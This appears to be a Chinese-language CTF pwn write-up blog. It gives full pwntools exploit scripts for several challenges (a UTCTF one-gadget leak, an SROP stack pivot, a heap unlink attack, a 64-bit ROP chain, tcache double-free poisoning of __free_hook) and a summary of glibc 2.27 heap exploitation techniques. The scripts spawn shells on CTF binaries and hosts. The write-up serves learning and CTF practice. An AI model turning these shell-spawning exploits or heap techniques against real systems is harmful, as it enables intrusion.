21
22
23
24
#!/usr/bin/python
#coding:utf-8

from pwn import *
io = remote('pwn.utctf.live',5433)
#io = process('./functionalprogramming')
onegadget = 0xf0364

io.sendline('1')
io.sendline('1')
io.recvuntil("Abs: ")
libc_abs = int(io.recv()[2:14],16)
libc_base = libc_abs-0x3a640
log.info('libc_abs:%x'%libc_abs)
log.info('libc_base:%x'%libc_base)
io.sendline('1')

#io.sendline('1')
payload = ""
payload += hex(libc_base+onegadget)
payload = payload.replace('0x','')

io.send(payload)
io.interactive()

三、Smol复现:

1.没啥好分析的,栈溢出漏洞,什么保护都没开,存在BSS段,常规SROP,利用栈劫持到BSS段,懂的都懂。

2.直接贴exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python
#coding:utf-8

from pwn import *
context.update(os = 'linux', arch = 'amd64')
io = remote("pwn.utctf.live",9998)

payload = ""
payload += p64(0x402000+0x10)
payload += p64(0x402000+0x10) #addr 0x402008
payload += p64(0x401015) #rsp = 0x402020
io.send(payload)

frame_execve = SigreturnFrame() #设置execve的SROP帧,注意计算/bin/sh\x00所在地址
frame_execve.rax = constants.SYS_execve
frame_execve.rdi = 0x402008
frame_execve.rip = 0x40103D #syscall_addr

payload2 = ""
payload2 += "/bin/sh\x00" #0x402008
payload2 += p64(0x402000+0x10) #0x402010
payload2 += p64(0x401015) #0x402018
payload2 += p64(0x402000+0x30) #0x402020
payload2 += "A"*0x10 #0x402028
payload2 += p64(0x40103D)
payload2 += str(frame_execve) #0x402038
io.send(payload2)

#buf = 0x402008
#rsp = 0x402020
#rbp = 0x402010 ->0x402010

payload3 = payload2[0:8]
payload3 += "\x30\x20\x40\x00\x00\x00\x00"
io.send(payload3)

io.interactive()

但是这里调试了好一段时间,需要再仔细分析一点,下回争取早点解决类似的题目。

axb_2019_heap-unlink

1.最开始看源码,感觉还行,能看懂,但是一旦看其他人讲unlink,感觉完全对不上,分明就是瞎搞,之后调试才发现单独的unlink攻击并不是针对chunk的,而是针对具体题目的结构体的。并且要求程序可以修改掉chunk的size位,执行向上合并从而触发unlink。

2.unlink攻击流程如下:

(1)找到题目中的chunklist位置,并分清结构体中是size在前还是chunk在前。

(2)这里假设我们想要控制chunklist[0]中的chunk。申请chunk0,chunk1,chunk2。在chunk0中构造fakechunk,并设置:

1
2
3
4
#注释头

fakechunk->fd = chunklist_addr-0x18
fakechunk->bk = chunklist_addr-0x10

(3)通过堆溢出或者off-by-one将chunk1的pre_size设置成fakechunk_size,将chunk1的size设置成fakechunk_size+chunk1_size。

(4)free掉chunk1,这样就会触发向上合并,将fakechunk和chunk1合并。同时,由于合并过程中调用了unlink函数,那么chunklist[0].chunk就会指向chunlist_addr-0x18,对应的就是我们的chunk0指向chunklist_addr-0x18。

▲unlink源码:

1
2
3
4
5
6
7
8
#注释头

FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
FD->bk = BK;
BK->fd = FD;

A.首先通过fakechunk,也就是p,找到前一个chunk和后一个chunk:

1
2
3
4
#注释头

FD = P->fd;
BK = P->bk;

这里的FD和BK分别为fakechunk的前一个chunk和后一个chunk,也就是chunklist_addr-0x18和chunklist_addr-0x10。

B.然后过检查:

1
2
3
#注释头

if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV);

能过检查的原因就是因为FD->bk就相当于是[chunklist_addr-0x18]+[0x18],就相当于chunklist_addr,也就是chunklist[0].chunk。而该地址中保存的内容就是fakechunk_addr。

注意chunk0_addr和fakechunk_addr不是一样的,因为有chunk结构的原因,如下图,可以看到实际上chunklist[n].chunk保存的值是chunk数据部分的地址,在这里也就相当于是fakechunk_addr。所以也就能过检查。同理BK->fd相当于是[chunklist_addr-0x10]+[0x10],等于chunklist_addr,该地址中保存的值就是fakechunk_addr。

img

C.过完检查之后,就来到赋值部分

1
2
3
4
#注释头

FD->bk = BK;
BK->fd = FD;

那么现在FD->bk = BK相当于[chunklist_addr-0x18]+[0x18],也就是chunklist_addr中的值被赋值为chunklist_addr-0x10,之后BK->fd = FD,就是chunklist_addr中的值被赋值为chunklist_addr-0x18,所以总的来说,chunklist[0].chunk会指向chunklist_addr-0x18,也就是说我们的fakechunk指向chunklist_addr-0x18,这样就相当于可以通过修改fakechunk就可以修改chunklist这个bss段上的内容。而fakechunk又是chunk0的数据部分,完全在我们的掌控范围。

(5)现在修改chunk0数据就先当于修改chunklist这个bss段上的内容。

3.在这道题中,原本chunklist[0].chunk中保存的值是fakechunk_addr,我们可以修改chunklist[0].chunk中保存的值为free_hook地址,那么之后再修改chunk0数据部分就相当于修改free_hook中的内容了。那么现在就可以将free_hook保存的值修改为system的真实地址,这样在free时就相当于调用system函数,那么一旦free某个chunk,而该chunk的数据部分为binsh字符串,那么就相当于调用system(“/bin/sh”),从而getshell.

4.现在开始分析这道题目,get_input函数中存在off-by-one,banner()函数中存在格式化字符串漏洞:

get_input:

img

banner:

img

利用格式化字符漏洞泄露Libc从而得到其它所有地址。之后通过off-by-one进行unlink攻击,构造fakechunk到chunklist这个Bss段上,修改chunklist段上的chunklist[0].chunk,使其指向free_hook_addr。之后再通过修改chunk0从而修改free_hook为system真实地址,再申请某个数据部分为binsh字符串的chunk,释放掉就能getshell。

总exp如下:

(1)首先增删改查函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#注释头

def add(index,size,content):
p.sendlineafter('>> ','1')
p.sendlineafter('Enter the index you want to create (0-10):',str(index))
p.sendlineafter('Enter a size:',str(size))
p.sendlineafter('Enter the content:',content)

def free(index):
p.sendlineafter('>> ','2')
p.sendlineafter('Enter an index:',str(index))

def edit(index,content):
p.sendlineafter('>> ','4')
p.sendlineafter('Enter an index:',str(index))
p.sendafter('Enter the content:',content)

(2)利用格式化字符漏洞泄露栈上的__libc_main和main地址:

1
2
3
4
5
6
7
8
9
#注释头

p.sendline('%11$p%15$p')
p.recvuntil('Hello,')
base = hex(int(p.recv(14),16)-0x116a - 28)
libcbase = hex(int(p.recv(14),16) - 240 - libc.sym['__libc_start_main'])
chunklist = hex(base + 0x202060)
free_hook = libcbase + libc.sym['__free_hook']
system = libcbase + libc.sym['system']

(3)利用off-by-one向上合并chunk0和chunk1,执行unlink攻击:

1
2
3
4
5
6
7
8
9
10
#注释头

add(0,0x98,'aaaa')#0
add(1,0x98,'bbbb')#1
add(2,0x90,'cccc')#2
add(3,0x90,'/bin/sh\x00')#3

payload=p64(0)+p64(0x91)+p64(chunklist-0x18)+p64(chunklist-0x10)+p64(0)*14+p64(0x90)+'\xa0'
edit(0,payload)
delete(1)

(4)修改chunklist[0].chunk指向free_hook:

1
2
3
4
#注释头

edit(0,p64(0)*3+p64(free_hook)+p64(0x10))
#由于unlink攻击赋值之后,chunk0数据部分指向了chunklist_addr-0x18位置,所以需要填充p64(0)*3

(5)修改free_hook为system:

1
2
3
#注释头

edit(0,p64(system))

(6)利用free触发system,getshell

1
2
3
4
#注释头

free(3)
p.interactive()

bugs bunny ctf 2017-pwn150

1.常规checksec,可以发现NX enabled,并且没有RAX字段。打开IDA后可以看到在hello函数中存在栈溢出:

1
2
3
4
5
#注释头

char s; // [rsp+0h] [rbp-50h]
---------------------------------------------------------------
fgets(&s, 192, stdin);

然后分析程序,汇编代码什么的,没找到有call eax之类的操作,这里就选择ROP来getshell。

2.由于是64位程序,传参方式不同,依次为:rdi, rsi, rdx, rcx, r8, r9, 栈,而我们的目标是跳转system函数,让system函数读取binsh字符串,system函数又只有一个参数,所以这个参数必然需要在rdi中读取。我们的输入是位于栈上,所以需要一个pop rdi;和ret的操作命令,让我们的输入赋值给rdi寄存器。

3.在哪找pop rdi; ret;也是个问题,这里有个工具可以实现ROPgadget ,在linux下可以输入:以下代码来获取代码地址。

1
2
3
#注释头

ROPgadget --binary pwn150 | grep "pop rdi"

4.然后需要system函数的地址,这里today函数直接call了该函数,所以可以直接用IDA在汇编中看到该地址(行的前缀)。或者先ctrl + s,在got.plt中搜索一下,发现也能找到system函数。所以这里获取system地址我们可以有两种方法:

①pop rdi之后,让ret指向today函数中的call_system_地址:0x40075F

img

②pop rdi之后,让ret指向从elf = ELF(‘./pwn150’)和system_addr = p64(elf.symbols[‘system’])中找到的地址system_addr,也就是plt表中的地址(这里其实可以直接在IDA中找到)

(但是需要注意的是,这是64位程序,system函数从rdi上取值,与栈无关系,所以call和直接跳转plt差不多,但是如果是32位程序,那么布置栈的时候就需要考虑到plt表和直接call system函数的不同了。如果是直接跳转plt表中的地址,那么栈的布置顺序应该是:

system函数-system函数的返回地址-sytem函数的参数。

但如果是跳转call system,那么由于call指令会自动push进eip,则栈布置应该为:

call system函数地址-system函数参数。

两者不太一样,需要加以区分。后面会有got表和plt的详细讲解)

4.接下来寻找binsh字符串,但是没找到,只有sh,也可以开shell。shift+F12进入字符串后右键在十六进制中同步,之后可以对应看到sh的字符地址,由于sh之后直接就是结束字符00,不会往后多读,而只会读取sh,所以可以直接将该字符串的地址写在pop rdi地址后面,直接赋值给rdi,写进去。

5.编写payload,顺序为:payload = padding + pop_rdi_addr + bin_sh_addr + system_addr(或者是call_system_addr)。

▲由于64位程序中通常参数从左到右依次放在rdi, rsi, rdx, rcx, r8, r9,多出来的参数才会入栈(根据调用约定的方式可能有不同,通常是这样),因此,我们就需要一个给RDI赋值的办法。也就是ROPgadget –pwn150 | grep “pop rdi”这段代码获取。所以进入system中用call和return直接进都行,参数是从rdi中获取的,进去之后栈上的返回地址是啥都没关系,因为已经getshell,用不到。

▲执行call func_addr指令相当于push eip ;jmp func_addr,而执行plt表中地址则相当于只有jmp func_addr,没有前面的push eip,所以需要手动设置这个eip,而call则不用。注意这是32位程序下,64位程序下则按照本篇所说,直接pop rdi即可。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

hitb2018_gundam

1.常规checksec,保护全开。IDA打开找漏洞,在删除函数sub_D32()中存在Double free和UAF漏洞:

img

通过逆向分析,结构体重整化:

1
2
3
4
5
6
7
8
9
10
#注释头

struct gundam
{
int flag;
char *name;
char type[24];
}gundam;

struct gundam* factory[9]

之后如下:

img

(1)Double free:可以看到在删除函数中,程序通过factory[idx]和count来判断gundam是否存在,并且只是free掉了factory[idx]->name这个chunk,并且将flag置空,但是并没有将factory[idx]这个指针置空。而且这是在Tcache机制下,没有对Double free的检查,那么就代表如果其实我们是可以连续多次free掉factory[idx]->name这个chunk的。

(2)UAF:另外factory[idx]->name这个指针也没有置空,可以通过factory[idx]再次利用,形成UAF漏洞。

2.思考利用方式:由于libc版本是2.26,从unsortedbins中申请回的chunk如果不被程序更改内容,其fd和bk仍然保存,可以泄露地址。由于build的时候,没有将name这个chunk的内容初始化为0,所以该chunk如果进入unsortedbin中之后,fd被赋值为main_arena+88,那么申请回来之后,name中的bk就带有main_arena+88的地址,可以通过visit打印出来,从而计算得到,泄露libc基地址。

(1)那么先填满tcache之后,再加个chunk,使其进入unsorted bin中,然后申请回来就可以得到libc地址了。

(2)得到libc地址后,由于libc版本是2.26,仍然存在tcache poisoning漏洞,就可以通过Double free漏洞进行类似fastbins attack攻击。

1
2
3
4
5
6
7
8
#注释头

假如申请chunk0,chunk1,然后连续free(chunk0)两次,这样tcache bin中就是:
chunk0.fd ->chunk0,即chunk0->chunk0
那么第一次申请回chunk0,修改fd为fakechunk,tcache bin中就是:
chunk0.fd->fakechunk,即chunk0->fakechunk
之后再申请回chunk0,再申请一次就是fakechunk了,实现任意地址修改。
★这个漏洞在libc2.27及之后就被修复了,即不能连续free(chunk0)两次,否则程序直接崩溃。

①先申请三个chunk,chunk0,chunk1,chunk2,chunk1存放binsh字符串,chunk2用来防止被topchunk吞并。之后释放chunk0两次,那么tcache中的chunk0的fd指针就会指向自己,形成:chunk0->chunk0。

②之后再申请一个chunk,对应索引为0,申请回第一个chunk0,修改name内容__free_hook_addr,而name内容的前八个字节就是chunk0的fd,即tcachebin中就会由之前的chunk0->chunk0变为chunk0->__free_hook_addr

③再连续申请两个chunk,对应索引为3,4,chunk4的头地址就会是__free_hook_addr-0x10,那么修改chunk4的name中的前八个字节就相当于修改_free_hook,这里使其变为system的真实地址,再free(chunk_binsh)即可getshell。

3.编写exp:

(1)前置增删改查函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#注释头

def build(name):
io.sendlineafter(' :', "1")
io.sendafter(' :', name)
io.sendlineafter(' :', "1")

def visit():
io.sendlineafter(' :', "2")

def destory(idx):
io.sendlineafter(' :', "3")
io.sendlineafter(":", str(idx))

def blow():
io.sendlineafter(' :', "4")

(2)泄露地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#注释头

#创建9个chunk,再删除9个chunk,7个进入tcache,1个进入unsortedbin,1个进入topchunk,这里由于有个0x28的gundam_chunk在,所以不会全部都进入topchunk
for i in xrange(9):
build("AAAA")
for i in xrange(9):
destory(i)
blow()
#为了清空count

#清空tcachebin之后再申请一个chunk就是unsortedbin中的
for i in xrange(7):
build('BBBBBBBB')
build('CCCCCCCC')

#leak:
visit()
main_arena = 0x3dac20
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 88 - main_arena
success("libc -> {:#x}".format(libc.address))

(3)清空count,方便计算索引:

1
2
3
4
5
#注释头

for i in xrange(8):
destory(i)
blow()

(4)利用tcache poisoning和double free漏洞,getshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

build("0000")
build("/bin/sh\0")
build("2222")
destory(0)
destory(0)
build(p64(libc.sym['__free_hook']))
build("/bin/sh\0")
build(p64(libc.sym['system']))
destory(1)#1或者3都可以

io.interactive()

▲这个泄露地址的漏洞在没有tcache机制的libc版本中都可以用,但是tcache poisoning只有libc2.26才可以用

参考资料:

ctf-all-in-one

how2heap_libc2.27_summary

\1. fastbin_dup:
填满Tcache后free(a),free(b),free(a)之后即可。

\2. fastbin_reverse_into_tcache:
(1)申请14个chunk,都释放掉0-6进入tcache,7-13进入fastbin中。(这14个chunk大小需相等)
(2)此时mallco掉7个chunk,就可以将tcache中的7个chunk都申请出来。
(3)再利用漏洞修改chunk7的fd为栈上的地址(任意地址),这时再malloc一次,就会从fastbin中申请chunk,由于fastbin先进后出的关系,会将chunk13申请出来。同时由于tcache机制,当fastbin中对应大小的bin中还存在chunk,就会将这些Chunk都拿出来放进对应大小的tcache中。
(4)由于先进后出的关系不变,拿出顺序为chunk12,chunk11…chunk7。进入tcache后的顺序为chunk7,chunk8….chunk12。
(5)这样又由于chunk7的fd被我们改掉了,所以实际的顺序为chunk7->chunk7.fd->chunk8…

img
(6)同时释放可以向栈上写入堆地址,之后再连续申请就可以将从栈上申请chunk。

\3. house_of_botcake(只能在double free前提下使用):
(1)申请chunk0-chunk6用于填充tcache,然后申请chunk7,chunk8,chunk9,其中chunk9用于防止和topchunk合并
(2)释放chunk0-chunk6填充tcache,释放chunk7,chunk8,发生合并进入unsortedbin中,称为chunk_U。
(3)malloc一次,将chunk6从tcache中申请出来,然后再释放chunk8(double free),这样chunk8就会进入tcache中。现在chunk8就会既在tcache中,又被包含在unsortedbin的chunk_C中。
(4)再申请一次大小大于以上chunk_size的chunk_C,这个chunk_C就会将chunk_U切割,同时使得chunk_C包含chunk8,这样就可以从chunk_C修改chunk8的fd指针。
(5)由于chunk8同时还在tcache中,那么再连续两次chunk8大小的size就可以将chunk8和chunk8.fd申请出来,实现任意地址申请堆块。

\4. house_of_einherjar(需要泄露堆地址):
(1)申请3个chunk,chunka,chunkb,chunkc,c的真实size大于0x100;
(2)然后通过chunkb的堆溢出(off by one/null),修改chunkc的in_use位为0,并且在chunkc的prev_size处伪造fake_prev_size=chunkb+chunka-0x10;
(3)在chunka中伪造chunk,满足要求:
&Fake_chunk = chunka+0x10
Fake_chunk->size = sizeof(chunka) -0x10+sizeof(chunkb)
Fake_chunk->fd = Fake_chunk
Fake_chunk->bk = Fake_chunk
用以绕过unlink的检查。
(4)随后申请7个与chunkc同大小的chunk,释放填充tcache;
(5)释放chunkc,因为chunkc的prev_inuse位被置为0,所以会向上合并,通过fake_prev_size找到前一个堆块,即fake_chunk,并比较fake_prev_size与fake_chunk的size是否相等,如果相等则发生堆合并,进入unlink脱链。
(6)此时合并的堆块,会被放入unsortedbin中,而此时的chunkb还处于使用状态,释放chunkb(因为其大小与前面tcache大小不同,会被放入新的tcachebin中)。
(7)再申请一个大于chunkc大小的chunk,会直接从unsortedbin中去寻找划分,该chunk就是fakechunk+chunkb,且合理配置chunka和chunkc的大小使得能够覆盖到chunkb的数据,随后通过申请回来的该chunk改写chunkb的fd指针,将chunkb申请回来,再次申请就能够实现tcache poisoning攻击。
这里和2.23有点不太一样,这里利用的是再释放chunkb从而使得其进入tcache,修改fd制造tcache poisoning,因为tcache不会检查size,只要fd就可以任意申请。

\5. house_of_force:一样的,没多大差别

6.house_of_lore:和2.23差不多,没多大差别

7.large_bin_attack:和2.23基本一样。

\8. overlapping_chunks(能够溢出修改size位):
只有free之后修改size的了.

\9. poison_null_byte:
与2.23差不多,不过需要考虑到tcache的影响,有时候需要先填满tcache。一般情况是4个chunk,最后一个chunk防止合并,前三个chunk用来制造堆块重叠,但是中间其实可以插入较多的堆块,制造多个堆块重叠,方便利用。

\10. tcache_dup:基本没啥用,现在2.27也基本都修复了这个问题,不过做题的时候可以尝试一下看行不行。2.28就已经增加了key字段检查

11.tcache_ house_of_spirit:
与house_of_spirit一样,修改栈上的的chunk指针为栈上的地址,在栈上伪造chunk,只需要伪造size即可,注意in_use位的设置。同时由于tcache在free的时候不会依据chunk的size来对下一个chunk做检查,所以这里不需要伪造下一个chunk的size。

\12. tcache_poisoning:
已经在tcache链表中的chunk,如果修改了fd,那么直接两次malloc即可获得fd对应地址的chunk,不需要构造字节错位,而且malloc之后得到的chunk其pre_size和size都是0。

img

\13. Tcache Stashing Unlink Attack(需要calloc申请chunk,能够控制smallbin的bk指针):
(1)申请9个chunk,chunk1-chunk9,释放chunk4-chunk9进入tcache中,释放chunk2进入tcache,再顺序释放chunk1和Chunk3进入unsortedbin中。
(2)申请一个largebin大小的chunk,使得chunk1和chunk3被整理到smallbin中。
(3)申请两个chunk,将chunk2和chunk9从Tcache中申请出来,使得tcache中存在两个空位。
(4)利用UAF之类的漏洞修改chunk3的bk指向fake_chunk,这里的chunk3是smallbin中的第一个chunk:

img

即为图中的0x602390的bk指针,指向一个fake_chunk,栈上的地址。
(5)同时由于smallbin按照FIFO的顺序,所以依据bk指针进行寻找,那么如果从smallbin中申请chunk,申请顺序应该是0x602250 —▸ 0x602390 —▸ 0x7fffffffdd10。
(6)调用calloc,使得chunk不从tcache中申请,从smallbin中申请,那么就会触发下列在使用smallbin时,只在use tcache的宏定义中的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
while ( tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin) ) != bin)
{
//如果成功获取了Chunk
if (tc_victim != 0)
{
// 获取 small bin 中倒数第二个 chunk 。
bck = tc_victim->bk;
//设置标志位
set_inuse_bit_at_offset (tc_victim, nb);
// 如果不是 main_arena,设置对应的标志
if (av != &main_arena)
set_non_main_arena (tc_victim);
//取出最后一个Chunk
bin->bk = bck;
bck->fd = bin;
//将其放入到Tcache中
tcache_put (tc_victim, tc_idx);
}
}

这样就会将tc_victim,也就是这里的0x602390,通过tcache_put放入到tcache中,同时tcache_put这个函数中没有任何的安全检查,所以可以直接放入。那么由于tcache的FILO关系,依据fd来申请,0x602390的fd为0x7fffffffdd10(fakechunk),所以会将fakechunk提到tcache的头部。同时又由于tcache中的指针指向的是chunk头部+0x10,那么在tcache中的顺序就是

img

这里的0x7fffffffdd20就是fakechunk,再次申请0xa0大小的chunk就可以将fakechunk给申请出来。同时又由于从smallbin链表中的unlink中的bck->fd = bin的赋值操作,会导致0x7fffffffdd20+0x10处会被赋值上smallbin的libc地址:

img

这样Tcache Stashing Unlink Attack修改bk为target_addr,malloc后会控制target_addr-0x10,会在target_addr+0x10处写入main_arena_addr。

14.unsafe_unlink:和2.23差不多,就只是申请的chunk使之大于0x410,从而不使用tcache。

15.unsorted_bin_attack:申请较大的chunk使得从unsortedbin中重新申请chunk时不会将该大小的chunk放入对应的tcache中。或者修改tcache结构体的counts域,使得系统认为该tcache已经满了,那么就不会放入了。

https://github.com/firmianay/CTF-All-In-One/blob/master/doc/3.1.8_heap_exploit_3.md#unsorted_bin_attack

\16. unsorted_bin_into_stack_attack:和2.23差不多,只要满足chunk的大小大于0x408从而不使用tcache即可,或者能够修改tcache结构体的count域。